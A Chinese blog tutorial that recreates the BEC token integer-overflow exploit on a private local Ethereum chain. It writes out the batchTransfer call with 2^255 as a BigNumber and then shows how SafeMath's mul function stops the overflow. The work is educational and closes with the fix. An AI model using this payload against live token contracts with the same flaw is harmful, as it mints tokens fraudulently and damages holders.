當前位置:
首頁 > 最新 > 圖文教程:無限刷BEC幣與漏洞分析

圖文教程:無限刷BEC幣與漏洞分析

前不久BEC漏洞的事情想必大家都了解了,黑客通過這個漏洞給自己刷了兩波天文數字般的BEC幣,想必很多人都流著口水。雖然大熊不能教大家在現實中撈一把,但在虛擬環境下撈一筆還是可以的,順便還能學下區塊鏈、智能合約的部署,說不定以後能用得上,然後走上人生巔峰呢。

下面就開始搭建測試網路,也給自己印批BEC幣過過癮。

(一)環境搭建

安裝geth客戶端,命令行的方式,主要用來運行以太坊節點、管理賬戶、挖礦、部署智能合約。

具體環境是:Win10 64位、geth 1.8.6(64位)

下載地址:

https://ethereum.github.io/go-ethereum/downloads/

(二)以太坊、合約部署

1、準備創世塊文件genesis.json如下:

{

"mixhash":"0x0000000000000000000000000000000000000000000000000000000000000000",

"difficulty": "0x4000",

"alloc": {},

"coinbase":"0x0000000000000000000000000000000000000000",

"timestamp": "0x00",

"parentHash":"0x0000000000000000000000000000000000000000000000000000000000000000",

"extraData": "0x",

"gasLimit":"0xffffffff",

"config": {}

}

相關參數的作用,可自行百度了解,其中difficulty代表挖礦難度。

2、初始化創世塊

管理員許可權打開CMD.exe,在geth.exe 的目錄下,輸入

geth --datadir "%cd%chain" init genesis.json

注意路徑和創世塊文件名要能對得上。

3、啟動區塊鏈節點

管理員許可權打開CMD.exe,在geth.exe 的目錄下,輸入:

geth --identity "MYeth" --rpc --rpccorsdomain "*" --datadir "%cd%chain" --port "30303" --rpcapi "db,eth,net,web3,debug" --rpcaddr "127.0.0.1" --rpcport "8545" --networkid 95518 console

相關參數的作用,可自行百度了解。

看到Welcome to the Geth JavaScript console!

還有最後的「>」 符號,就代表已經啟動完成。

4、創建用戶,創建用戶指令為下(括弧內為用戶密碼)

personal.newAccount("password")

可以看到我已經創建了3個用戶

為方便使用,把三個用戶分別命名為zhangsan、lisi、wangwu

5、挖礦ETH,先前配創世塊文件時,難度參數設定較低,所以很快就挖到一筆ETH(如果現實也可以這樣印鈔就好了...)

挖礦指令如下(括弧內為參與挖礦的CPU,如果不指定的話將會用全部CPU資源,這樣可能會影響操作)

> miner.start(1)

挖了一段時間之後,就需要如下指令來終止挖礦,不然會一直挖下去

> miner.stop()

查詢ETH數量指令如下,可以看到zhangsan上已經有一筆ETH

> eth.getBalance(zhangsan)

(三)無限印幣

1、複製BEC智能合約源碼,用在線Remix工具編譯,點擊「Start to compile」,然後下拉框選擇「BecToken」,點擊「Detail」。

之後,可以看到Remix界面右下方出現很多黃色的Warning,並不會影響使用,除非有紅色的Error。

BEC智能合約地址:

在線Remix工具:

2、複製WEB3DEPOLY裡面的代碼,並粘貼到Geth console,回車。

3、這時候會提示錯誤,因為主節點還沒解鎖賬戶,所以需要通過指令解鎖,然後輸入zhangsan的密碼,即可完成解鎖。

personal.unlockAccount(zhangsan)

4、把剛才的WEB3DEPOLY裡面的代碼複製,並粘貼到Geth console,回車。

5、可以看到合約已經提交到區塊鏈,但是還沒生成,所以需要挖下礦,這樣才能成功部署。然後,輸入「bectoken.」(後面有個點)然後按鍵盤上的Tab鍵,看到已可以使用bectoken裡面的函數了。

6、溢出轉賬

這裡一個坑,坑了我好久,無意中又發現了一個漏洞,不過不是又一個BEC合約的漏洞,而是源於console,先前我一直用這個指令來轉賬:(綠色長串數字就是2^255的具體數值)

>bectoken.batchTransfer([lisi,wangwu],57896044618658097711785492504343953926634992332820282019728792003956564819968,)

但是一直失敗,而且由於數值較大,每次我都會懷疑是不是複製錯了,囧,為了不糾結,還試過:

>bectoken.batchTransfer([lisi,wangwu],Math.pow(2,255),)

也還是失敗,李四和王五的賬號依舊為0。

既然如此,那麼用Remix單步調試看看到底是怎麼回事。

這裡要注意的是:調試前,需要先將Remix連接到本地環境。

調試環境配置好,回到console,輸入交易指令:

> bectoken.batchTransfer([lisi,wangwu],Math.pow(2,255),)

提示認證錯誤,因此解鎖張三的賬戶,然後再次輸入交易指令,就可以看到這次交易的哈希值。

當然,可以看到此次交易只是提交狀態,通過eth.getTransaction指令可以看到還沒有blockNumber,因此需要挖一下礦miner.start(1),才能記錄到區塊鏈,進行調試。

調試界面如下,右邊主要能用到的是

7個主要調試命令——如常用的步入、步過等

Solidity Locals——本地參數

Step detail——執行的詳情

Stack——堆棧

調試發現,原來一直不能成功繞過這條代碼:

require(_value > 0 && balances[msg.sender] >= amount);

因此amount也不會為0,而zhangsan的賬戶上根本沒那麼多BEC幣,所以不能繞過。

換個思路試試,在源代碼直接把_value的值設為2^255,這樣一來可以實現繞過並成功實現轉賬,最起碼證明繞過是肯定可行的。

這種情況下,我懷疑console傳遞_value 時出問題了,那麼是什麼問題呢,在百度上找了很多資料都沒能解決,最後在Github上嘗試發帖諮詢Geth團隊,發帖沒過多久就收到了這位小哥的回復,感謝!才知道原來也是個溢出漏洞。

小哥大概的意思是:控制台是基於JavaScript,而JavaScipt使用float-s表示數字,如果直接傳遞2^255這麼大的數值,將會產生溢出,直接給的結果是數值將會發生變化。

解決方法是:用JavaScript的大數字型檔來表示大數值,如此即能使用任意精度整數。

一言驚醒夢中人,然後我百度該如何表示這個想法,最終實現如下:

用web3.toBigNumber來表示2^255,成功給李四、王五賬戶上刷了一波天文數字BEC幣。

varvalue= web3.toBigNumber("57896044618658097711785492504343953926634992332820282019728792003956564819968");

另外,也許你會困惑,為什麼zhangsan賬戶上也有一筆BEC,仔細閱讀BEC合約,你會發現合約上規定,創造者會在合約生效之後持有一些初始的Token,這個規定在每個合約基本都會有,因為這是基本的盈利方法,也就見怪不怪了。

(四)安全代碼的作用

上面已經成功刷了一波BEC幣,在新聞上也能看到漏洞爆出來之後,BEC幣一落千丈,危害如此之大,那麼該如何解決整數溢出這個問題呢?

其實BEC合約它自己已經回答了這個問題,除了漏洞那行代碼之外,你會發現其它運算都用SafeMath庫里的函數,動手實操一下效果。

更改BEC合約源碼,把漏洞行代碼里的*改成庫裡面的mul函數,再重複上面的過程。

這時已不能繞過檢測,轉賬失敗。

分析下Mul函數,代入具體的數值:

假如:a = 2,b = 2^255

那麼:c = a * b = 0

但: c / a = 0 != b

因此也就繞不過安全運算函數了。

涉及內容較多,仍有許多不盡之處。

有不明白的地方歡迎關注公眾號並交流,大熊將儘快回復,謝謝。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 進擊的大熊 的精彩文章:

為什麼比特幣能當錢用

TAG:進擊的大熊 |